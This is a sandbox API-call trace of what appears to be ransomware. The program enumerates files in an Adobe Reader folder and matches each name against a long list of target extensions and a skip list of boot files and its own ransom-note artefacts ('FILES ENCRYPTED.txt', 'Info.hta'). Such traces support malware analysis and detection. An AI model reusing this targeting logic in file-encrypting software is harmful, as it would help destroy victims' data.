	[0174.958] lstrlenW (lpString=".accde") returned 6
	[0174.958] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0174.958] lstrlenW (lpString=".accdt") returned 6
	[0174.958] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0174.958] lstrlenW (lpString=".accdw") returned 6
	[0174.958] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0174.958] lstrlenW (lpString=".adb") returned 4
	[0174.958] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".adp") returned 4
	[0174.958] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".ai") returned 3
	[0174.958] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0174.958] lstrlenW (lpString=".ai3") returned 4
	[0174.958] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".ai4") returned 4
	[0174.958] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".ai5") returned 4
	[0174.958] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".ai6") returned 4
	[0174.958] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".ai7") returned 4
	[0174.958] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".ai8") returned 4
	[0174.958] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".anim") returned 5
	[0174.959] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0174.959] lstrlenW (lpString=".arw") returned 4
	[0174.959] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".as") returned 3
	[0174.959] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0174.959] lstrlenW (lpString=".asa") returned 4
	[0174.959] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".asc") returned 4
	[0174.959] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".ascx") returned 5
	[0174.959] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0174.959] lstrlenW (lpString=".asm") returned 4
	[0174.959] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".asmx") returned 5
	[0174.959] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0174.959] lstrlenW (lpString=".asp") returned 4
	[0174.959] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".aspx") returned 5
	[0174.959] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0174.959] lstrlenW (lpString=".asr") returned 4
	[0174.959] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".asx") returned 4
	[0174.959] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".avi") returned 4
	[0174.959] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".avs") returned 4
	[0174.959] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".backup") returned 7
	[0174.959] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0174.959] lstrlenW (lpString=".bak") returned 4
	[0174.959] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".bay") returned 4
	[0174.959] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0174.959] lstrlenW (lpString=".bd") returned 3
	[0174.959] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0174.960] lstrlenW (lpString=".bin") returned 4
	[0174.960] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".bmp") returned 4
	[0174.960] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".bz2") returned 4
	[0174.960] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".c") returned 2
	[0174.960] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0174.960] lstrlenW (lpString=".cdr") returned 4
	[0174.960] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".cer") returned 4
	[0174.960] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".cf") returned 3
	[0174.960] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0174.960] lstrlenW (lpString=".cfc") returned 4
	[0174.960] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".cfm") returned 4
	[0174.960] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".cfml") returned 5
	[0174.960] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0174.960] lstrlenW (lpString=".cfu") returned 4
	[0174.960] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".chm") returned 4
	[0174.960] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".cin") returned 4
	[0174.960] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".class") returned 6
	[0174.960] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0174.960] lstrlenW (lpString=".clx") returned 4
	[0174.960] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".config") returned 7
	[0174.960] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0174.960] lstrlenW (lpString=".cpp") returned 4
	[0174.960] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0174.960] lstrlenW (lpString=".cr2") returned 4
	[0174.961] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".crt") returned 4
	[0174.961] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".crw") returned 4
	[0174.961] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".cs") returned 3
	[0174.961] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0174.961] lstrlenW (lpString=".css") returned 4
	[0174.961] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".csv") returned 4
	[0174.961] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".cub") returned 4
	[0174.961] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".dae") returned 4
	[0174.961] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0174.961] lstrlenW (lpString=".dat") returned 4
	[0174.961] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0174.985] lstrlenW (lpString=".db") returned 3
	[0174.985] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0174.985] lstrlenW (lpString=".dbf") returned 4
	[0174.985] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0174.985] lstrlenW (lpString=".dbx") returned 4
	[0174.985] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0174.985] lstrlenW (lpString=".dc3") returned 4
	[0174.985] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dcm") returned 4
	[0174.986] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dcr") returned 4
	[0174.986] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".der") returned 4
	[0174.986] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dib") returned 4
	[0174.986] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dic") returned 4
	[0174.986] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dif") returned 4
	[0174.986] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".divx") returned 5
	[0174.986] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0174.986] lstrlenW (lpString=".djvu") returned 5
	[0174.986] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0174.986] lstrlenW (lpString=".dng") returned 4
	[0174.986] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".doc") returned 4
	[0174.986] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".docm") returned 5
	[0174.986] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0174.986] lstrlenW (lpString=".docx") returned 5
	[0174.986] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0174.986] lstrlenW (lpString=".dot") returned 4
	[0174.986] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dotm") returned 5
	[0174.986] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0174.986] lstrlenW (lpString=".dotx") returned 5
	[0174.986] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0174.986] lstrlenW (lpString=".dpx") returned 4
	[0174.986] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0174.986] lstrlenW (lpString=".dqy") returned 4
	[0174.986] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".dsn") returned 4
	[0174.987] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".dt") returned 3
	[0174.987] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0174.987] lstrlenW (lpString=".dtd") returned 4
	[0174.987] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".dwg") returned 4
	[0174.987] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".dwt") returned 4
	[0174.987] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".dx") returned 3
	[0174.987] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0174.987] lstrlenW (lpString=".dxf") returned 4
	[0174.987] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".edml") returned 5
	[0174.987] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0174.987] lstrlenW (lpString=".efd") returned 4
	[0174.987] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".elf") returned 4
	[0174.987] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".emf") returned 4
	[0174.987] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".emz") returned 4
	[0174.987] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".epf") returned 4
	[0174.987] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".eps") returned 4
	[0174.987] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0174.987] lstrlenW (lpString=".epsf") returned 5
	[0174.988] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0174.988] lstrlenW (lpString=".epsp") returned 5
	[0174.988] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0174.988] lstrlenW (lpString=".erf") returned 4
	[0174.988] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".exr") returned 4
	[0174.988] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".f4v") returned 4
	[0174.988] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".fido") returned 5
	[0174.988] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0174.988] lstrlenW (lpString=".flm") returned 4
	[0174.988] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".flv") returned 4
	[0174.988] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".frm") returned 4
	[0174.988] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".fxg") returned 4
	[0174.988] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".geo") returned 4
	[0174.988] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".gif") returned 4
	[0174.988] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".grs") returned 4
	[0174.988] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0174.988] lstrlenW (lpString=".gz") returned 3
	[0174.988] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0174.989] lstrlenW (lpString=".h") returned 2
	[0174.989] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0174.989] lstrlenW (lpString=".hdr") returned 4
	[0174.989] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".hpp") returned 4
	[0174.989] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".hta") returned 4
	[0174.989] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".htc") returned 4
	[0174.989] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".htm") returned 4
	[0174.989] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".html") returned 5
	[0174.989] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0174.989] lstrlenW (lpString=".icb") returned 4
	[0174.989] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".ics") returned 4
	[0174.989] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".iff") returned 4
	[0174.989] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".inc") returned 4
	[0174.989] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".indd") returned 5
	[0174.989] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0174.989] lstrlenW (lpString=".ini") returned 4
	[0174.989] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".iqy") returned 4
	[0174.989] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".j2c") returned 4
	[0174.989] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".j2k") returned 4
	[0174.989] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0174.989] lstrlenW (lpString=".java") returned 5
	[0174.989] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0174.990] lstrlenW (lpString=".jp2") returned 4
	[0174.990] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0174.990] lstrlenW (lpString=".jpc") returned 4
	[0174.990] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0174.990] lstrlenW (lpString=".jpe") returned 4
	[0174.990] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0174.990] lstrlenW (lpString=".jpeg") returned 5
	[0174.990] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0174.990] lstrlenW (lpString=".jpf") returned 4
	[0174.990] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0174.990] lstrlenW (lpString=".jpg") returned 4
	[0174.990] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0174.990] lstrlenW (lpString=".jpx") returned 4
	[0174.990] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0174.990] lstrlenW (lpString=".js") returned 3
	[0174.990] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0174.990] lstrlenW (lpString="plugin.js") returned 9
	[0175.026] lstrlenW (lpString=".GTF") returned 4
	[0175.026] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0175.026] lstrlenW (lpString="plugin.js") returned 9
	[0175.026] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0175.026] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0175.026] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0175.026] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0175.026] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
	[0175.026] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0175.027] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0175.027] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0175.027] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\plugin.js") returned 126
	[0175.027] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf97, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1
	[0175.027] lstrlenW (lpString="selector.js") returned 11
	[0175.027] lstrlenW (lpString=".1cd") returned 4
	[0175.027] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1
	[0175.027] lstrlenW (lpString=".3ds") returned 4
	[0175.027] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1
	[0175.027] lstrlenW (lpString=".3fr") returned 4
	[0175.027] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1
	[0175.027] lstrlenW (lpString=".3g2") returned 4
	[0175.027] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1
	[0175.027] lstrlenW (lpString=".3gp") returned 4
	[0175.027] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1
	[0175.027] lstrlenW (lpString=".7z") returned 3
	[0175.027] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0175.027] lstrlenW (lpString=".accda") returned 6
	[0175.027] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1
	[0175.027] lstrlenW (lpString=".accdb") returned 6
	[0175.027] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1
	[0175.027] lstrlenW (lpString=".accdc") returned 6
	[0175.027] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1
	[0175.027] lstrlenW (lpString=".accde") returned 6
	[0175.027] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1
	[0175.027] lstrlenW (lpString=".accdt") returned 6
	[0175.027] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1
	[0175.027] lstrlenW (lpString=".accdw") returned 6
	[0175.027] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1
	[0175.027] lstrlenW (lpString=".adb") returned 4
	[0175.028] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".adp") returned 4
	[0175.028] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ai") returned 3
	[0175.028] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0175.028] lstrlenW (lpString=".ai3") returned 4
	[0175.028] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ai4") returned 4
	[0175.028] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ai5") returned 4
	[0175.028] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ai6") returned 4
	[0175.028] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ai7") returned 4
	[0175.028] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ai8") returned 4
	[0175.028] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".anim") returned 5
	[0175.028] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1
	[0175.028] lstrlenW (lpString=".arw") returned 4
	[0175.028] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".as") returned 3
	[0175.028] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0175.028] lstrlenW (lpString=".asa") returned 4
	[0175.028] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".asc") returned 4
	[0175.028] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1
	[0175.028] lstrlenW (lpString=".ascx") returned 5
	[0175.028] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1
	[0175.028] lstrlenW (lpString=".asm") returned 4
	[0175.028] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".asmx") returned 5
	[0175.029] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1
	[0175.029] lstrlenW (lpString=".asp") returned 4
	[0175.029] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".aspx") returned 5
	[0175.029] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1
	[0175.029] lstrlenW (lpString=".asr") returned 4
	[0175.029] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".asx") returned 4
	[0175.029] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".avi") returned 4
	[0175.029] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".avs") returned 4
	[0175.029] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".backup") returned 7
	[0175.029] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1
	[0175.029] lstrlenW (lpString=".bak") returned 4
	[0175.029] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".bay") returned 4
	[0175.029] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".bd") returned 3
	[0175.029] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0175.029] lstrlenW (lpString=".bin") returned 4
	[0175.029] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".bmp") returned 4
	[0175.029] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".bz2") returned 4
	[0175.029] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".c") returned 2
	[0175.029] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0175.029] lstrlenW (lpString=".cdr") returned 4
	[0175.029] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".cer") returned 4
	[0175.029] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1
	[0175.029] lstrlenW (lpString=".cf") returned 3
	[0175.030] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0175.030] lstrlenW (lpString=".cfc") returned 4
	[0175.030] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".cfm") returned 4
	[0175.030] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".cfml") returned 5
	[0175.030] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1
	[0175.030] lstrlenW (lpString=".cfu") returned 4
	[0175.030] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".chm") returned 4
	[0175.030] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".cin") returned 4
	[0175.030] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".class") returned 6
	[0175.030] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1
	[0175.030] lstrlenW (lpString=".clx") returned 4
	[0175.030] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".config") returned 7
	[0175.030] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1
	[0175.030] lstrlenW (lpString=".cpp") returned 4
	[0175.030] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".cr2") returned 4
	[0175.030] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".crt") returned 4
	[0175.030] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".crw") returned 4
	[0175.030] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".cs") returned 3
	[0175.030] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0175.030] lstrlenW (lpString=".css") returned 4
	[0175.030] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".csv") returned 4
	[0175.030] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1
	[0175.030] lstrlenW (lpString=".cub") returned 4
	[0175.031] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dae") returned 4
	[0175.031] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dat") returned 4
	[0175.031] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".db") returned 3
	[0175.031] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0175.031] lstrlenW (lpString=".dbf") returned 4
	[0175.031] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dbx") returned 4
	[0175.031] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dc3") returned 4
	[0175.031] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dcm") returned 4
	[0175.031] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dcr") returned 4
	[0175.031] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".der") returned 4
	[0175.031] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dib") returned 4
	[0175.031] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dic") returned 4
	[0175.031] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".dif") returned 4
	[0175.031] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".divx") returned 5
	[0175.031] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1
	[0175.031] lstrlenW (lpString=".djvu") returned 5
	[0175.031] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1
	[0175.031] lstrlenW (lpString=".dng") returned 4
	[0175.031] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".doc") returned 4
	[0175.031] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1
	[0175.031] lstrlenW (lpString=".docm") returned 5
	[0175.031] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1
	[0175.032] lstrlenW (lpString=".docx") returned 5
	[0175.032] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1
